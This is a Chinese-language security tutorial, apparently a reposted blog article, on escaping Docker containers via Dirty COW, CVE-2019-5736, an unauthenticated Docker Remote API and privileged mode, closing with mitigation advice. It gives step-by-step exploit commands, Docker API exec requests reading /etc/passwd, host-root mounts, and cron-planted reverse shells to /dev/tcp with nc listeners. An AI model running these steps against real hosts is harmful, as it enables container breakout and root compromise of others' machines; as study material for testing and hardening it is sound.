干货|docker逃逸的几种方法以及其原理

VSole2021-09-28 06:33:09

前言

获取某个系统shell后发现其是docker,这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。这里提供几种思路。

  1. 利用dirty cow来进行docker逃逸
  2. cve-2019-5736
  3. docker配置不当

利用dirty cow来进行docker逃逸

1.前置知识

VDSO其实就是将内核中的.so文件映射到内存,.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件。

在Linux中,有一个功能:VDSO(virtual dvnamic shared object),这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间,可以理解成将内核中的函数映射到内存中,方便大家访问。

2.利用dirty cow与VDSO来实现docker逃逸的过程

dirty cow漏洞可以让我们获取只读内存的写的权限,我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。这段shellcode初始化的时候会检查是否是被root调用,如果是则继续执行,如果不是,则接着执行clock_gettime函数,接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。

这种利用方法利用成功的前提是,宿主机的内核有dirty cow漏洞。

3.利用过程

1.判断是否为docker环境

ls -alh /.dockerenv

docker环境中根目录下存在此文件

查看系统进程的cgroup信息

cat /proc/1/cgroup

2.下载脚本

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

3.利用脚本

./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
4.利用结果

我们直接反弹宿主机的shell到127.0.0.1如图所示

这时候我们进入root文件夹内创建一个任意文件,这里文件名我们定义为random_file。

这时候我们进入宿主机看看(由于是实验环境,所以我们可以通过正常的渠道直接进入宿主机看漏洞利用情况):

发现宿主机上有我们刚创建的文件,至此docker逃逸成功。

可以通过i春秋的练习环境来进行此实验:

利用Dirty Cow实现Docker逃逸

通过cve-2019-5736来达到docker逃逸

1.利用原理与条件

通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。

利用条件为:

  1. runc版本<=1.0-rc6
  2. Docker Version < 18.09.2

2.漏洞触发过程

首先我们得有一个docker下的shell,第二步修改利用脚本中的反弹shell命令,第三步使用go build来编译脚本,第四步将脚本上传到docker中,第五步等待宿主机执行exec进入当前docker容器等时候,宿主机就会向我们的vps反弹root权限的shell。

3.具体操作

第一步:确定docker环境

ls -alh /.dockerenv

docker环境中根目录下存在此文件

查看系统进程的cgroup信息

cat /proc/1/cgroup

第二步:下载利用脚本并修改

git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下图中的选中部分修改后面的命令为反弹shell命令即可。

第三步:编译脚本

go build main.go

第四步:将编译好的main文件上传到docker中

可以先上传到github然后在docker到shell中使用git clone命令即可,这里不做演示。

第五步:执行脚本并等待此docker再次被exec

docker exec -it test /bin/bash

如上命令的含义是进入test这个容器,当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。

4.对此种方式利用的理解

这种方式利用的条件其实比较苛刻,主要苛刻在宿主机必须有人执行exec命令进入当前docker环境,如果没有人在宿主机执行的话,是无法进行docker逃逸的。

配置不当导致docker逃逸

1.docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。由于环境复杂,这里借用freebuf上的图片。

确定docker remote api是否可访问

直接在浏览器中输入http://ip:2375/version

漏洞利用

1.访问http://ip:2375/containers/json看是否出现以下画面:

2.创建一个包,得到返回的exec_id的参数,数据包内容如下:

POST /containers//exec HTTP/1.1
Host: :PORT
Content-Type: application/json
Content-Length: 188
{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}

注意其中的cmd字段,这个就是要执行的命令。

3.得到exec_id参数后构造第二个exec_start数据包,内容如下:

POST /exec//start HTTP/1.1
Host: :PORT
Content-Type: application/json
{
“Detach”: false,
“Tty”: false
}
然后发送后会得到结果:
至此成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。

4.在docker容器内安装docker作为client

apt-get install docker.io
yum -y install docker

5.查看宿主机的docker image信息

docker -H tcp://宿主机ip:2375 images

6.启动一个容器并且将宿主机的根目录抓再到容器的某个目录

docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

7.写一个计划任务反弹shell(或者写.ssh公钥都OK)

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root

8.在vps上使用nc命令等待反弹过来的shell

nc -lvp 8888

利用特权模式逃逸

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

漏洞利用

1.查看磁盘文件

fdisk -l

2.将/dev/vda1也就是磁盘挂在到本地的任意文件下

mkdir /nuoyan
mount /dev/vda1 /nuoyan
此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。

3.写入计划任务

echo '* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1' >> /nuoyan/var/spool/cron/root
4.在vps上等待shell反连接
nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736

2、runc版本 > 1.0-rc6

3、k8s 集群版本>1.12

4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)

5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险

6、不建议以root权限运行Docker服务

7、不建议以privileged(特权模式)启动Docker

8、不建议将宿主机目录挂载至容器目录

9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

参考文章

https://www.freebuf.com/articles/container/242763.html

https://www.cnblogs.com/xiaozi/p/13423853.html

原创作者:Shanfenglan7

作者介绍:一个刚步入安全行业的人,乐意分享技术,乐意接受批评,乐意交流。希望自己能把抽象的技术用尽量具体的语言讲出来,让每个人都能看懂,并觉得简单。最后希望大家可以关注我的博客:shanfenglan.blog.csdn.net。

docker容器技术
本作品采用《CC 协议》,转载必须注明作者和本文链接
主要介绍了容器技术的发展、以Docker为代表的容器技术生态以及容器技术的应用场景。
容器安全是一个庞大且牵涉极广的话题,而容器的安全隔离往往是一套纵深防御的体系,牵扯到AppArmor、Namespace、Capabilities、Cgroup、Seccomp等多项内核技术和特性,但安全却是一处薄弱则全盘皆输的局面,一个新的内核特性可能就会让看似无懈可击的防线存在突破口。随着云原生技术的快速发展,越来越多的容器运行时组件在新版本中会默认配置AppArmor策略,原本我们在《红蓝对
在完成了这项针对 Linux 中多个受控制用户空间的基础性工作后,Linux 容器开始逐渐成形并最终发展成了现在的模样。开源 Docker 社区致力于改进这类技术,并免费提供给所有用户,使之获益。除了运行容器之外,Docker 技术还具备其他多项功能,包括简化用于构建容器、传输镜像以及控制镜像版本的流程。与此相反,Docker 技术鼓励应用程序各自独立运行其进程,并提供相应工具以实现这一功能。
目前发现并没有将kubernetes和Docker技术产生背景和需求进行比较的文章,本文从最纯正的官方定义角度出发并展开,阐述二者产生背景及与传统技术对比。官方定义2:k8s是一个开源的容器集群管理系统,可以实现容器集群的自动化部署、自动扩缩容、维护等功能。
云原生安全工具合集
2023-04-11 10:06:28
以Docker+K8s为代表的容器技术得到了越来越广泛的应用,从安全攻防的角度,攻击者已经不再满足于容器逃逸,进而攻击整个容器编排平台,如果可以拿下集群管理员权限,其效果不亚于域控失陷。在云原生安全攻防的场景下,甲乙攻防双方对于安全工具的关注点也不一样。
在工业开发领域也有人提出了一种被称为 MLops 的新的开发范式,即机器学习时代的 Devops。Reproducible Machine Learning,顾名思义,即为可复现的机器学习。
一、前言 这篇文章可能出现一些图文截图颜色或者命令端口不一样的情况,原因是因为这篇文章是我重复尝试过好多次才写的,所以比如正常应该是访问6443,但是截图中是显示大端口比如60123这种,不影响阅读和文章逻辑,无需理会即可,另外k8s基础那一栏。。。本来想写一下k8s的鉴权,后来想了想,太长了,不便于我查笔记,还不如分开写,所以K8S基础那里属于凑数???写了懒得删(虽然是粘贴的:))
Docker容器入门指北
2022-05-11 06:43:31
Docker 是一种基于 Linux 的容器技术,类似于轻量的虚拟机。它采用 C/S 架构,使用Go语言开发。Docker 分为 2 个版本:社区版和企业版,社区版免费,企业版是收费的
声明 本文为笔者对实际容器安全事件的归纳,仅代表个人观点。 文末为容器安全事件排查与响应思维导图。 引子 定位初始入侵位置 首先要确认入侵是否发生在容器内,或者说只在容器内。 场景:zabbix告警一个进程占用非常高,像是挖矿程序/DOS了。 但是查看进程的PPID却发现是systemd,这种情况大概率是容器相关了。 首先获取程序PID,然后查看对应进程的进程树是否父进程为contai
软件定义安全毫无疑问是未来数据中心安全建设发展方向,在等保合规建设中发挥重要作用,需要安全厂商对等级保护标准深入理解和云计算安全领域的持续积累创新,需要网络安全行业进一步推进开放的生态圈建设,不断开发出适合各种场景的完备的解决方案,应对持续加大的合规、实战和投入的三重压力。
VSole
网络安全专家